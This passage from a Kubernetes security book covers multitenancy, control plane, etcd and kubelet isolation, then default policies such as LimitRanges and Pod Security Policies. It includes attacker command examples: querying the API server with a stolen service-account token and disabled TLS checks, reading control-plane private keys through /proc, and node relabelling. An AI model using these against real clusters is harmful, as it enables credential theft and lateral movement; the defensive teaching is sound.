demonstrates in “Command and KubeCTL: Real-World Kubernetes Security for Pentesters”
.

A Kubernetes system’s prime directive is to keep pods running. A pod’s tolerance to
infrastructure failure relies upon an effective distribution of workloads across hardware. This availability-centric style rightly prioritises utilization above security isolation. Security is more expensive and requires dedicated nodes for each isolated workload classification.

Node Taints

By default, namespaces

share all nodes in a cluster. As illustrated here, a taint can be used to prevent the scheduler from placing pods on certain nodes in Kubernetes’ default configuration:

$

kubectl taint nodes kube-node-2 key1

=

value1:NoSchedule

This works because a self-hosted control plane runs using filesystem-hosted static pod manifests in the kubelet
’s staticPodPath
, defaulted to /etc/kubernetes/manifests
, which ignore these taints.

Pods can be prevented from co-scheduling on the same node with advanced scheduler hints, which isolate them on their own compute hardware (a virtual or bare-metal machine).

This level of isolation is too expensive for most (it prevents “bin packing” workload by reducing the number of possible nodes for each workloads, and the under-utilization is likely to lead to unused compute), and so provides a consistent mechanism to traverse namespaces on default Kubernetes configurations.

Note

An attacker who can compromise a kubelet
can remain in-cluster in many ingenious ways, as detailed in the talk “Advanced Persistence Threats”
by Brad Geesaman
and Ian Coldwater
.

Admission control

prevents wide-open avenues of exploitation such as sharing host namespaces. You should mitigate potential container breakout to the host with secure pod configuration, image scanning, supply chain verification, admission control and policy for incoming pods and operators, and intrusion detection for when all else fails.

If Captain Hashjack can’t easily break out of the container through vulnerable container runtime or kernel versions, they’ll pretty quickly start attacking the network. They may choose to attack other tenants on the cluster or other network-accessible services like the control plane and API server, compute nodes, cluster-external datastores, or anything else accessible on the same network segment.

Attackers look
for the next weak link in the chain, or any overprivileged pod, so enforcing secure “hard” multitenancy between tenants hardens the cluster to this escalation. To give us a comparison, let’s first look

at the goals of “soft” multitenancy.

Soft Multitenancy

You should use a soft

multitenancy model to prevent avoidable accidents resulting from overprivileged tenants. It is much easier to build and run than hard multitenancy, which we will come to next, because its threat model doesn’t consider motivated threat actors like Dread Pirate Hashjack.

Soft multitenancy
is often a “tenant per namespace” model. Across the cluster, tenants are likely to have the best interests of the cluster or administrators at heart. Hostile tenants, however, can probably break out of this type of cluster.

Examples of tenants include different projects in a team, or teams in a company, that are enforced by RBAC roles and bindings and grouped by namespaces. Resources in the namespace are limited, so tenants can’t exhaust a cluster’s resources.

Namespaces are tools

used to build
security boundaries in your cluster, but they are not an enforcement point. They scope many security and policy features: admission control webhooks, RBAC and access control, network policy, resource quotas and LimitRanges, Pod Security Policy, pod anti-affinity, dedicated nodes with taints and tolerations, and more. So they are an abstraction grouping of other mechanisms and resources: your threat models should consider these trust boundaries as walls on the defensive landscape.

Under the lenient soft multitenancy model, namespace isolation techniques may not be strictly enforced, permitting tenants visibility of each other’s DNS records, and possibly permitting network routing between them if network policy is absent. DNS enumeration and requests for malicious domains should be monitored. For Captain Hashjack, quietly scanning a network may be a more effective way to evade detection, although CNI and IDS tools should detect this anomalous behavior.

Network policy

is strongly recommended for even soft multitenant deployments. Kubernetes nodes require a flat network space between their kubelet
s, and the
kubelet
’s
CNI

plug-in for pod networking is responsible for enforcing tenant namespace separation at OSI layers 2 (ARP), 3/4 (IP addresses and TCP/UDP ports), and 7 (application, and TLS/x509). Network traffic is encrypted to off-cluster snoopers by network plug-ins like Cilium, Weave, or Calico that route pod traffic over virtual overlay networks, or VPN tunnels for all traffic between nodes.

The CNI protects data in transit, but must trust any workload Kubernetes has permitted to run. As malicious workloads are inside a CNI’s trust boundary, they are served trusted traffic. Your tolerance to the impact of that workload going rogue in its surrounding environment should guide your level

of security controls.

Note

We go into depth on network policies in Chapter 5
.

Hard Multitenancy

In this model, cluster
tenants don’t trust each other, and namespace configurations are “secure by default.” Security guardrails in CI/CD
pipelines

and
admission control enforce policy. This level of separation is required by sensitive and private workloads across industry and state sectors, public compute services, and regulatory and accrediting bodies.

Hostile Tenants

It helps to threat model all workloads in a

hard multitenant system as aggressively hostile. This explores more branches of an attack tree to inform an optimal balance of cluster security controls, which will help limit a workload’s potentially permissive cloud or cluster authorizations.

It also covers unknown potential events, such

as a failure in the RBAC subsystem CVE-2019-11247 that leaked access to cluster-scoped resource for non–cluster-scoped roles, CVE-2018-1002105 and CVE-2019-1002100, which enabled API server DOS, or CVE-2018-1002105, a partially exploitable API authentication bypass (covered later in the chapter).

Note

In 2019, all Kubernetes API servers were at grave risk of being honked. Rory McCune
discovered v1.13.7 was vulnerable to the Billion Laughs YAML deserialization attack, and Brad Geesaman
weaponized it with sig-honk
. For a malicious tenant with API server visibility, this would be trivial to exploit.

Admission controllers
are executed by the API server after authentication and authorization, and validate the inbound API server request with “deep payload inspection.” This additional step is more powerful than traditional RESTful API architectures as it inspects the content of the request with specific policies, which can catch misconfigurations and malicious YAML.

Hard multitenant

systems may use advanced sandboxes to isolate pods in a different way to runc
containers and increase

their resistance to zero-day attacks.

Note

Advanced sandboxing techniques are covered in more depth in Chapter 3
.

Sandboxing and Policy

Sandboxes such

as gVisor, Firecracker, and Kata Containers ingeniously combine KVM with namespaces and LSMs to further abstract workloads from high-risk interfaces and trust boundaries like the kernel.

These sandboxes are designed to resist vulnerabilities in their system call, filesystem, and network subsystems. As with every project, they have had CVEs, but they are well maintained and quick to fix. Their threat models are well documented and architectures theoretically solid, but every security abstraction comes at the cost of system simplicity, workload debuggability, and filesystem and network performance.

Sandboxing a pod or namespace is weighted against the additional resources required. Captain Hashjack’s potential cryptolocking ransom should be valued in the equation, against the sandboxing protect from unknown kernel and driver vulnerabilities.

Note

No sandbox is

inescapable, and sandboxing weighs the likelihood of simultaneous exploitable bugs being found in both the sandbox and the underlying Linux kernel. This is a reasonable approach and has analogies to browser sandboxing: Chromium uses the same namespaces, cgroups
, and seccomp
as containers do. Chromium breakouts have been demonstrated at Pwn2Own and the Tianfu Cup often, but the risk window for exploitation is a few days (very roughly) every 2–5 years.

Hard multitenant systems

should implement tools like OPA for complex and extensible admission control. OPA uses the Rego language to define policy and, like any code, policies may contain bugs. Security tools rarely “fail open” unless they’re misconfigured.

Policy risks include
permissive regexes and loose comparison of objects or values in admission controller policy. Many YAML properties such as image names, tags, and metadata are string values prone to comparison mistakes. Like all static analysis, policy engines are as robust as you configure them to be.

Multitenancy also involves the monitoring of
workloads for potentially hostile behavior. Supporting intrusion detection and observability services sometimes require potentially dangerous eBPF privileges, and eBPF’s in-kernel execution has been a source of container breakouts. The CAP_BPF
capability (since Linux 5.8) will reduce the impact of bugs in eBPF systems and require less usage of the “overloaded CAP_SYS_ADMIN
capability” (says the manpage).

Note

eBPF is covered further in Chapters 5
and 9
.

Despite the runtime risks of running introspection and observability tooling with elevated privileges, it is safer to understand cluster risks in real time with these permissions, than to be unaware of them.

Public Cloud Multitenancy

Public hard multitenancy

services like Google Cloud Run do not trust their workloads. They naturally assume the tenant and their activity is malicious and build controls to restrict them to the container, pod, and namespace. The threat model considers that attackers will try every known attack in an attempt to break out.

Privately run hard multitenancy pioneers include
https://contained.af

—a web page with a terminal, connected to a container secured with kernel primitives and LSMs. Adventurers are invited to break their way out of the container if their cunning and skill enables them. So far there have been no escapes, which is testament to the work Jess Frazelle, the site’s host, contributed to the runc
runtime at Docker.

Although a criminal might be motivated to use or sell a container breakout zero day, a prerequisite to most container escapes is absence of LSM and capability controls. Containers configured to security best-practice, as enforced by admission control, have these controls enabled and are at low risk of breakout.

CTF or shared compute platforms such as
https://ctf.af

should be considered compromised and regularly “repaved” (rebuilt from scratch with no infrastructure persisting) in the expectation of escalation. This makes an attacker’s persistence attacks difficult as they must regularly re-use the same point of entry, increasing the likelihood of detection.

Control Plane

Captain Hashjack wants

to run code in your pods to poke around the rest of the system. Stealing service account authentication information from a pod (at /var/run/secrets/kubernetes.io/serviceaccount/token
) enables an attacker to spoof your

pod’s identity to the API server and any cloud integrations, as in the following examples:

Tip

Pod and machine identity credentials are like treasure to a pirate adversary. Only the service account token (a JWT) is needed to communicate with the API server as server certificate verification can be disabled with --insecure
, although this is not recommended for legitimate use.

user@pod:~

[

0

]

$

curl

https://kubernetes.default/api/v1/namespaces/default/pods/

\

--header

"

Authorization: Bearer

${

TOKEN

}

"

--insecure

user@pod:~

[

0

]

$

kubectl

--token

=

"

$(

<

${

DIR

}

/token

)

"

\

--certificate-authority

=

"

${

DIR

}

/ca.crt

"

get

pods

user@pod:~

[

0

]

$

kubectl

--token

=

"

$(

<

${

DIR

}

/token

)

"

\

--insecure-skip-tls-verify

get

pods

user@pod:~

[

0

]

$

kubectl

--token

=

"

$(

<

${

DIR

}

/token

)

"

-k

\

get

buckets

ack-test-smoke-s3

-o

yaml

kubernetes.default
is the API server DNS name in the pod network.

kubectl
defaults to kubernetes.default
and credentials in /run/secrets/kubernetes.io/serviceaccount
.

With kubectl
YOLO (no certificate authority verification of the API server).

If the workload identity is able to access CRDs for cloud-managed resources, stealing a token could unlock access to S3 buckets and another connected infrastructure.

Access to the API server
can also leak information through its SAN, revealing internal and external IP addresses, any other domains DNS records point to, as well as the standard internal domains stemming from kubernetes.default.svc.cluster.local
(output edited):

user@pod:~ [

0]

$

openssl s_client -connect kubernetes.default:443 \

< /dev/null 2>/dev/null |

openssl x509 -noout -text |

grep -E "DNS:|IP Address:"

DNS:kube-node-1, DNS:kubernetes, DNS:kubernetes.default,
DNS:kubernetes.default.svc, DNS:kubernetes.default.svc.cluster.local,
IP Address:10.96.0.1, IP Address:10.0.1.1, IP Address:167.99.95.202

There are many

authentication endpoints in a cluster in addition to the API server’s Kubernetes resource-level RBAC, each of which allows an attacker to use stolen credentials to attempt privilege escalation.

Warning

By default unauthenticated

users are placed into the system:anonymous
group and able to read the API server’s /version
endpoint as seen here, and use any roles that have been accidentally bound to the group. Anonymous authentication should be disabled if possible for your use case:

root@pod:/ [60]# curl -k https://kubernetes.default:443/version
{
"major": "1",
"minor": "22",
"gitVersion": "v1.22.0",
# ...

Each kubelet
has its own locally exposed API port, which can allow unauthenticated access to read node-local pods. Historically this was due to cAdvisor
(Container Advisor) requesting resource and performance statistics, and some observability tools still use this endpoint. If there’s no network policy to restrict pods from the node’s network, the kubelet
can be attacked from a pod.

By the same logic, the API server can be attacked from a pod with no network policy restrictions. Any admin interface should be restricted in as many ways as

is practical.

API Server and etcd

etcd
is the
robust distributed datastore backing every version of Kubernetes and many other cloud native projects. It may be deployed on a dedicated cluster, as
systemd

units on Kubernetes control plane nodes, or as self-hosted pods in a Kubernetes cluster.

Hosting etcd
as pods inside a Kubernetes cluster is the riskiest deployment option: it offers an attacker direct access to etcd
on the CNI. An accidental Kubernetes RBAC misconfiguration could expose the whole cluster via etcd
tampering.

Note

etcd
’s API has experienced

remotely exploitable CVEs. CVE-2020-15115 allows remote brute-force of user passwords, CVE-2020-15106 was a remote DoS. Historically CVE-2018-1098 also permitted cross-site request forgery, with a resulting elevation of privilege.

etcd
should be secured by firewalling it to the API server only, enabling all encryption methods, and finally integrating the API server with a KMS or Vault so sensitive values are encrypted
before reaching etcd
. Guidance is published in the
etcd
Security model
.

The API server

handles the system’s core logic and persists its state in etcd
. Only the API server should ever need access, so etcd
should not be accessible over the network in a Kubernetes cluster.

Tip

It’s obvious that every software is vulnerable to bugs, so these sorts of attacks can be reduced when etcd
is not generally available on the network. If Captain Hashjack can’t see the socket, they can’t attack it.

There’s a
trust boundary encompassing the API server and etcd
. Root access to etcd
may compromise the API server’s data or allow injection of malicious workloads, so the API server holds an encryption key: if the key is compromised, etcd
data can be read by an attacker. This means that if etcd
’s memory and backups are partially encrypted to protect against theft, values of Secrets are encrypted
with the API server’s symmetric key. That Secret key is passed to the API server in a configuration YAML at startup:

--encryption-provider-config=/etc/kubernetes/encryption.yaml

This file contains the symmetric keys

used to encrypt Secrets in etcd
:

apiVersion

:

apiserver.config.k8s.io/v1

kind

:

EncryptionConfiguration

resources

:

-

resources

:

-

secrets

providers

:

-

aescbc

:

keys

:

-

name

:

key1

secret

:

<BASE64 ENCODED SECRET ENCRYPTION KEY>

-

identity

:

{}

Base64 is encoding to simplify binary data over text links and, in ye olden days of Kubernetes yore, was the only way that secrets were “protected.” If Secret values are not encrypted at rest, then etcd
’s memory can be dumped and Secret values read by an attacker, and backups can be plundered for Secrets.

Containers are just processes, but the root user on the host is omniscient. They must be able to see everything in order to debug and maintain the system. As you can see, dumping the strings in a process’s memory space is trivial:

Note

See “Container Forensics”
for a simple example of dumping process memory.

All memory is
readable by the root user, and so unencrypted values in a container’s memory are easy to discover. You must detect attackers that attempt this behavior.

The hardest
Secrets for an attacker to steal are those hidden in managed provider-hosted

Key Management Services (KMS), which can perform cryptographic operations on a consumer’s behalf. Dedicated, physical hardware security modules (HSMs)

are used to minimize risk to the cloud KMS system. Applications such as HashiCorp Vault can be configured as a frontend for a KMS, and services must explicitly authenticate to retrieve these Secrets. They are not in-memory on the local host, they cannot be easily enumerated, and each request is logged for audit. An attacker that compromises a node has not yet stolen all the Secrets that node can access.

KMS integration makes cloud Secrets much harder to steal from etcd
. The API server uses a local proxy to interact with KMS, by which it decrypts values stored in etcd
:

apiVersion

:

apiserver.config.k8s.io/v1

kind

:

EncryptionConfiguration

resources

:

-

resources

:

-

secrets

providers

:

-

kms

:

name

:

myKmsPlugin

endpoint

:

unix:///var/kms-plugin/socket.sock

cachesize

:

100

Let’s move on to other control plane

components.

Scheduler and Controller Manager

Controller manager and scheduler components are hard to attack as they do not have a public network API. They can be manipulated by affecting data in etcd
or tricking the API server, but do not accept network input.

The controller

manager service accounts are exemplary implementations of “least privilege.” A single controller manager process actually runs many individual controllers. In the event of privilege escalation in the controller manager, the service accounts used are well segregated in case one of them is leaked:

# kubectl get -n kube-system -o wide serviceaccounts | grep controller
attachdetach-controller 1 20m
calico-kube-controllers 1 20m
certificate-controller 1 20m
clusterrole-aggregation-controller 1 20m
cronjob-controller 1 20m
daemon-set-controller 1 20m
deployment-controller 1 20m
disruption-controller 1 20m
endpoint-controller 1 20m
endpointslice-controller 1 20m
endpointslicemirroring-controller 1 20m
expand-controller 1 20m
job-controller 1 20m
namespace-controller 1 20m
node-controller 1 20m
pv-protection-controller 1 20m
pvc-protection-controller 1 20m
replicaset-controller 1 20m
replication-controller 1 20m
resourcequota-controller 1 20m
service-account-controller 1 20m
service-controller 1 20m
statefulset-controller 1 20m
ttl-controller 1 20m

However, that’s not the greatest risk to that service. As with most Linux attacks, a malicious user with root privileges can access everything: memory of running processes, files on disk, network adapters, and mounted devices.

An attacker that compromises
the node running the controller manager can impersonate that component, as it shares essential key and authentication material with the API server, using the master node’s filesystem to share:

-

command

:

-

kube-controller-manager

-

--authentication-kubeconfig=/etc/kubernetes/controller-manager.conf

-

--authorization-kubeconfig=/etc/kubernetes/controller-manager.conf

-

--bind-address=127.0.0.1

-

--client-ca-file=/etc/kubernetes/pki/ca.crt

-

--cluster-name=kubernetes

-

--cluster-signing-cert-file=/etc/kubernetes/pki/ca.crt

-

--cluster-signing-key-file=/etc/kubernetes/pki/ca.key

-

--controllers=*,bootstrapsigner,tokencleaner

-

--kubeconfig=/etc/kubernetes/controller-manager.conf

-

--leader-elect=true

-

--port=0

-

--requestheader-client-ca-file=/etc/kubernetes/pki/front-proxy-ca.crt

-

--root-ca-file=/etc/kubernetes/pki/ca.crt

-

--service-account-private-key-file=/etc/kubernetes/pki/sa.key

-

--use-service-account-credentials=true

image

:

k8s.gcr.io/kube-controller-manager:v1.20.4

volumeMounts

:

-

mountPath

:

/etc/ssl/certs

name

:

ca-certs

readOnly

:

true

-

mountPath

:

/etc/ca-certificates

name

:

etc-ca-certificates

readOnly

:

true

-

mountPath

:

/usr/libexec/kubernetes/kubelet-plugins/volume/exec

name

:

flexvolume-dir

-

mountPath

:

/etc/kubernetes/pki

name

:

k8s-certs

readOnly

:

true

-

mountPath

:

/etc/kubernetes/controller-manager.conf

name

:

kubeconfig

readOnly

:

true

-

mountPath

:

/usr/local/share/ca-certificates

name

:

usr-local-share-ca-certificates

readOnly

:

true

-

mountPath

:

/usr/share/ca-certificates

name

:

usr-share-ca-certificates

readOnly

:

true

As root on the control plane host, examining

the controller manager, we are able to dump the container’s filesystem and explore:

# find /proc/27386/root/etc/kubernetes/
/proc/27386/root/etc/kubernetes/
/proc/27386/root/etc/kubernetes/pki
/proc/27386/root/etc/kubernetes/pki/apiserver.crt
/proc/27386/root/etc/kubernetes/pki/front-proxy-client.key
/proc/27386/root/etc/kubernetes/pki/ca.key
/proc/27386/root/etc/kubernetes/pki/ca.crt
/proc/27386/root/etc/kubernetes/pki/sa.key
/proc/27386/root/etc/kubernetes/pki/sa.pub
/proc/27386/root/etc/kubernetes/pki/front-proxy-client.crt
/proc/27386/root/etc/kubernetes/pki/apiserver-kubelet-client.crt
/proc/27386/root/etc/kubernetes/pki/front-proxy-ca.key
/proc/27386/root/etc/kubernetes/pki/apiserver-kubelet-client.key
/proc/27386/root/etc/kubernetes/pki/apiserver.key
/proc/27386/root/etc/kubernetes/pki/front-proxy-ca.crt
/proc/27386/root/etc/kubernetes/controller-manager.conf

The scheduler has

fewer permissions and keys than the controller manager:

containers

:

-

command

:

-

kube-scheduler

-

--authentication-kubeconfig=/etc/kubernetes/scheduler.conf

-

--authorization-kubeconfig=/etc/kubernetes/scheduler.conf

-

--bind-address=127.0.0.1

-

--kubeconfig=/etc/kubernetes/scheduler.conf

-

--leader-elect=true

-

--port=0

image

:

k8s.gcr.io/kube-scheduler:v1.20.4

These limited permissions give Kubernetes least privilege configuration within the cluster and make Dread Pirate Hashjack’s work harder.

The

RBAC ClusterRole for the cloud controller manager is allowed to create
service accounts, which can be used by attackers to pivot or persist access. It may also access cloud interaction to control computer nodes for autoscaling, cloud storage access, network routing (e.g., between nodes), and load balancer config (for routing internet or external traffic to the cluster).

Historically, this controller was part of the API server, which means cluster compromise may be escalated to cloud account compromise. Segregating permissions like this makes an attacker’s life more difficult, and ensuring the control plane nodes are not compromised will protect these services.

Data Plane

Kubernetes trusts

a worker once it’s joined the cluster. If your worker node is hacked, then the kubelet
it hosts is compromised, as well as the pods and data the kubelet
was running or has access to. All kubelet
and workload credentials
fall under the attacker’s control.

The kubelet
’s kubeconfig, keys, and service account details are not IP-bound by default, and neither are default workload service accounts. These identities (service account JWTs) can be exfiltrated and used from anywhere the API server is accessible. Post-exploitation, Captain Hashjack can masquerade as the kubelet
’s workloads everywhere that workload’s identity is accepted. API server, other clusters and kubelet
s, cloud and datacenter integrations, and external systems.

By default, the API server uses the NodeRestriction plug-in
and node authorization in the
admission controller. These restrict a kubelet
’s service account credentials (which must be in the system:nodes
group) to only the pods that are scheduled on that kubelet
. An attacker may only pull Secrets associated with a workload scheduled on the kubelet
’s node, and those Secrets are already mounted from the host’s filesystem into the container, which root can read anyway.

This makes Captain Hashjack’s tyrannical plans more difficult. A compromised kubelet
’s blast radius is limited by this policy. Attackers may work around this by attempting to attract sensitive pods to schedule on it.

This is not using the API server to reschedule the pods—the stolen kubelet
credentials have no authorization in the kube-system
namespace—but instead changing the kubelet
’s labels to pretend to be a different host or an isolated workload type (frontend, database, etc.).

A compromised kubelet
is able to

relabel itself by updating its command-line flags and restarting. This may trick the API server into scheduling sensitive pods and Secrets on the node (output edited):

root@kube-node-2 # kubectl get secrets -n null

Error from server (Forbidden): secrets is forbidden: User "system:node:kube-node-2"
cannot list resource "secrets" in API group "" in the namespace "null":
No Object name found

root@kube-node-2 # kubectl label --overwrite \
node kube-node-2 sublimino=was_here

node/kube-node-2 labeled

Check user by making a failing API call, we’re the kubelet
node kube-node-2
.

Modify ourselves with a new label.

Admins may use labels
to assign specific workloads to certain matching kubelet
nodes and namespaces, grouping workloads with similar data classifications together, or increasing performance by keeping network traffic in the same zone or datacenter. Attackers should not be able to jump between these sensitive and isolated namespaces or nodes.

The NodeRestriction
admission plug-in defends against nodes relabeling themselves as part of these trusted node groups by enforcing an immutable label format. The documentation uses regulatory tags as examples (like example.com.node-restriction.kubernetes.io/fips=true
):

# try to modify a restricted label
root@kube-node-2 # kubectl label --overwrite \
node kube-node-2 example.com.node-restriction.kubernetes.io/fips=true
Error from server (Forbidden): nodes "kube-node-2" is forbidden: is not allowed
to modify labels: example.com.node-restriction.kubernetes.io/fips

Without this added control, a compromised kubelet
could potentially compromise sensitive workloads and possibly even the cluster or cloud account. The plug-in still allows modifications to some less-sensitive labels.

Tip

Any hard-multitenant

system should consider the impact of transitive permissions for RBAC roles, as tools like gcploit
show in GCP. It chains IAM policies assigned to service accounts, and uses their permissions to explore

the “transitive permissions” of the original service account.

Cluster Isolation Architecture

When thinking
about data classification, it helps to ask yourself, “what’s the worst that could happen?” and work backward from there. As Figure 7-2
shows, code will try to escape its container, which might attack a cluster and could compromise the account. Don’t put high-value data where it can be accessed by breaching a low-value data system.

Figure 7-2.
Kubernetes data flow diagram (source: cncf/financial-user-group
)

Clusters should be
segregated on data classification and impact of breach. Taken to the extreme, that’s a cluster per tenant, which is costly and creates management overhead for SRE and security teams. The art of delineating clusters is a balance of security and maintainability.

Having many clusters
isolated from each other is expensive to run and wastes much fallow compute, but this is sometimes necessary for sensitive workloads. Each cluster must have consistent policy applied, and the hierarchical namespace controller offers a measured path to rolling out similar configurations.

Tip

Uniform configuration
is needed to sync Kubernetes resources to subordinate clusters and apply consistent admission control and network policy.

In Figure 7-3
we see how policy objects can be propagated between namespaces to provide uniform enforcement of security requirements like RBAC, network policy, and team-specific Secrets.

Figure 7-3.
Kubernetes hierarchical namespace controller (source: Kubernetes Multitenancy Working Group: Deep Dive
)

Cluster Support Services and Tooling Environments

Shared tooling

environments that are connected to clusters of different sensitivities can offer a chance for attackers to pivot between environments or harvest leaked data.

Warning

Tooling environments are a prime candidate for attack, especially the supply chain of registries and internal packages, and logging and observability systems.

CVE-2019-11250 is a side-channel information

disclosure, leaking HTTP authentication headers. This sensitive data is logged by default in Kubernetes components running the client-go library. Excess logging of headers and environment variables is a frequent issue in any system and highlights the need for separation in sensitive systems.

Tooling environments that can route traffic back to their client clusters may be able to reach administrative interfaces and datastores with credentials from CI/CD systems. Or, without direct network access, Captain Hashjack might poison container images, compromise source code, pillage monitoring systems, access security and scanning services, and drop
backdoors.

Security Monitoring and Visibility

Large organizations run Security Operations Centers (SOC)

and Security Information and Event Management (SIEM)

technology to support compliance, threat detection, and security management. Your clusters emit

events, audit, log, and observability data to these systems where they are monitored and reacted to.

Overloading these systems with data, exceeding rate limits, or increased event latency (adding a delay to audit, event, or container logs) may overwhelm an SOC or SIEM’s capacity to respond.

As stateless applications prefer to store their data in somebody else’s database,
cloud datastores accessible from Kubernetes are a prime target. The workloads that can read or write to these are juicy, and service account credentials and workload identities are easy to harvest data with. Your SOC and SIEM should correlate cloud events with their calling Kubernetes workload identities to understand how your systems are being used, and how they may be attacked.

We will go into greater detail on this topic in Chapter 9
.

Conclusion

Segregating workloads is hard and requires you to invest in testing your own security. Validate your configuration files with static analysis, and revalidate clusters at runtime with tests to ensure they’re still configured correctly.

The API server and etcd
are the brains and memory of Kubernetes, and must be isolated from hostile tenants. Some multitenancy options run many control planes in a larger Kubernetes cluster.

The hierarchical namespace controller brings distributed management to multicluster policy.

Chapter 8.
Policy

Once a system is constructed on solid foundations, it must be used correctly to maintain its integrity. Building a sea-fort to defend an island from pirates is half the battle, followed by posting guards to the watchtower and being prepared for defense at any time.

Like the orders to the fort’s guards, the

policies applied to a cluster define the range of behaviors allowed. For example, what security configuration options a pod must use, storage and network options, container images, and any other feature of the workloads.

Policies must be synchronized across clusters and cloud (admission controllers, IAM policy, security sidecars, service mesh, seccomp
and AppArmor profiles) and enforced. And policies must target workloads, which raises a question of identity. Can we prove the identity of a workload before giving it privileges?

In this chapter we look at what happens when policies are not enforced, how identity for workloads and operators should be managed, and how the Captain would try to engage with potential holes in our defensive walls.

We will first review different types of policies and discuss the out-of-the-box (OOTB) features of Kubernetes in this area. Then we move on to threat models and common expectations concerning policies such as auditing. The bulk of the chapter we spend with the access control topic, specifically around role-based access control (RBAC) and further on we investigate the generic handling of policies for Kubernetes, based on projects such as the Open Policy Agent (OPA) and Kyverno.

Types of Policies

In real-world scenarios—that is, when you’re running workloads in production—in the context of a
business, you have to consider different types of policies:

Technical policies

These are usually well understood and straightforward to implement (for example, runtime or network communication policies).

Organizational policies

Arriving at these policies can, depending on the organization, be challenging (for example, “developers only deploy to test and dev environments”).

Regulatory policies

These policies are dependent on the vertical your workload is operating in and can, depending on the level of compliance, take a lot of time and energy to implement (for example, the Payment Card Industry Data Security Standards [PCI DSS] policy that cardholder data transmitted across open, public networks must be encrypted
).

In the context of this chapter, we focus mainly on how to define and enforce policies that can be explicitly stated. In Chapter 10
we go further and look at the organizational context and how usually, despite all policies in place, the human user (as the weakest link in the chain), provides the Captain with a welcome entry angle.

Let’s first have a look at what Kubernetes brings, by default, to the table.

Defaults

Policy is essential to

keeping Kubernetes secure, but by default little is enabled. Configuration mutates with time for most software as new features come out; misconfiguration is a common attack vector, and Kubernetes is no different.

Reusing and extending open source policy configuration
for your needs is often safer than rolling out your own, and to protect against regressions you must test your infrastructure and

security code with tools like conftest
before you deploy it; in “Open Policy Agent”
we will dive deeper into this topic.

Figure 8-1
, sums up the sentiment nicely. In it, Kubernetes security practitioner Brad Geesaman
points out the dangers of not having admission control enabled by default; see also the respective TGIK episdode
.

Now, what are the defaults that the Captain might be able to exploit, if you’re asleep at the helm?

Figure 8-1.
Brad Geesaman sagely reminding us of the dangers of Kubernetes defaults, and the importance of adding admission control

Kubernetes offers out-of-the-box support for some policies, including for controlling network traffic, limiting resource usage, runtime behavior, and most prominently for access control, which we will dive deeper into in “Authentication and Authorization”
and “Role-Based Access Control (RBAC)”
before we shift our attention to generic policies in “Generic Policy Engines”
.

Let’s have a closer look now at the defaults and see what challenges

we face.

Network Traffic

The NetworkPolicy
resource, in

conjunction with a CNI plug-in that enforces it, allow us to put policies constraining network traffic in place (also see Chapter 5
).

Limiting Resource Allocations

In Kubernetes, by default, containers

in pods are not restricted concerning compute resource consumption. Since Kubernetes 1.10 you can use LimitRanges
to constrain container and pod resource allocations

on a per-namespace
basis. This policy type is enforced via an admission controller, with the implication that it doesn’t apply to running pods.

To see how LimitRanges work in action, assume you want to limit the memory containers can use in the dev
namespace to 2 GB of RAM. You would define the policy like so:

apiVersion

:

v1

kind

:

LimitRange

metadata

:

name

:

dev-mem-limits

spec

:

limits

:

-

type

:

Container

max

:

memory

:

2Gi

Assuming you stored the preceding YAML snippet in a file called dev-mem-limits.yaml
you would then, in order to enforce the limit range, execute the following command:

kubectl -n dev apply -f dev-mem-limits.yaml

If you now tried to create a pod with a container that attempts to use more memory, you’d get an error message of
type 403
Forbidden.

Resource Quotas

In a multitenant

environment, where a cluster is shared among multiple teams, a particular team could potentially use more than its fair share of the available resources as provided by the worker nodes (CPU, RAM, etc.). Resource quotas
are a policy type allowing you to control these quotas.

Tip

Certain Kubernetes distributions, such as OpenShift, for
example, extend namespaces in a way (there it’s called “project”) that things like resource quotas are available and enforced out of the box.

For concrete usages, peruse the in-depth article “How to Use Kubernetes Resource Quotas”
and also check out the Google Cloud blog post on the topic, “Kubernetes Best Practices: Resource Requests and Limits”
.

In addition, since Kubernetes v1.20 there is
also a possibility to limit the number of process IDs
a pod may use on a per-node basis.

Runtime Policies

Pod Security Policies
(PSPs) allow you to

define fine-grained authorization of pod creation and updates.

Let’s say you want to set default seccomp
and AppArmor profiles with PSPs, as also shown in the canonical docs example:

apiVersion

:

policy/v1beta1

kind

:

PodSecurityPolicy

metadata

:

name

:

restricted

annotations

:

seccomp.security.alpha.kubernetes.io/allowedProfileNames

:

'docker/default,runtime/default'

apparmor.security.beta.kubernetes.io/allowedProfileNames

:

'runtime/default'

seccomp.security.alpha.kubernetes.io/defaultProfileName

:

'runtime/default'

apparmor.security.beta.kubernetes.io/defaultProfileName

:

'runtime/default'

spec

:

# ...

There is an issue with PSPs, though. They are at time of writing of the book in the process of being deprecated
.

Tip

Increasingly, organizations are looking into the OPA Constraints Framework
as a replacement for PSPs, so maybe

this is something you want to consider as well.

The good news is that replacements for PSPs exist: upstream, they are replaced by Pod Security Standards
(PSS) (the Aqua Security blog post “Kubernetes Pod Security Policy Deprecation: All You Need to Know”
goes into further detail here), and alternatively you can

use frameworks discussed in “Generic Policy Engines”
to cover runtime policies.

Access Control Policies

Kubernetes

is, concerning authentication and authorization, flexible and extensible. We discuss the details of access control policies in “Authentication and Authorization”
and specifically role-based access control (RBAC) in “Role-Based Access Control (RBAC)”
.

Now, with the overview on built-in policies in Kubernetes out of the way, what does the threat modeling in the policies space look like? Let’s find out.

Threat Model

The threat model

relevant in the context of policies is broad, however sometimes they may subtly be hidden within other topics and/or not explicitly called out. Let’s have a look at some scenarios of past attacks pertinent to the policy

space using examples from the 2016 to 2019 time frame:

- CVE-2016-5392
describes an attack where the API server (in a multitenant environment) allowed remote authenticated users with knowledge of other project names to obtain sensitive project and user information via vectors related to the watch-cache list.

- Certain versions of CoreOS Tectonic mount a direct proxy to the cluster at /api/kubernetes/
, accessible without authentication to and allowing an attacker to directly connect to the API server, as observed in CVE-2018-5256
.

- In CVE-2019-3818
, the kube-rbac-proxy
container did not honor TLS configurations, allowing for use of insecure ciphers and TLS 1.0. An attacker could target traffic sent over a TLS connection with a weak configuration and potentially break the encryption.

- In CVE-2019-11245
we see how an attacker could exploit the fact that certain kubelet
versions did not specify an explicit runAsUser
attempt to run as UID 0 (root) on container restart, or if the image was previously pulled to the node.

- As per CVE-2019-11247
the Kubernetes API server mistakenly allowed access to a cluster-scoped custom resource if the request was made as if the resource were namespaced. Authorizations for the resource accessed in this manner are enforced using roles and role bindings within the namespace, meaning that a user with access only to a resource in one namespace could create, view, update, or delete the cluster-scoped resource.

- In CVE-2020-8554
it’s possible for an attack to person-in-the-middle traffic, which in multitenant environments may intercept traffic to other tenants. The new DenyServiceExternalIPs
admission controller was added as there is currently no patch for this issue.

Common Expectations

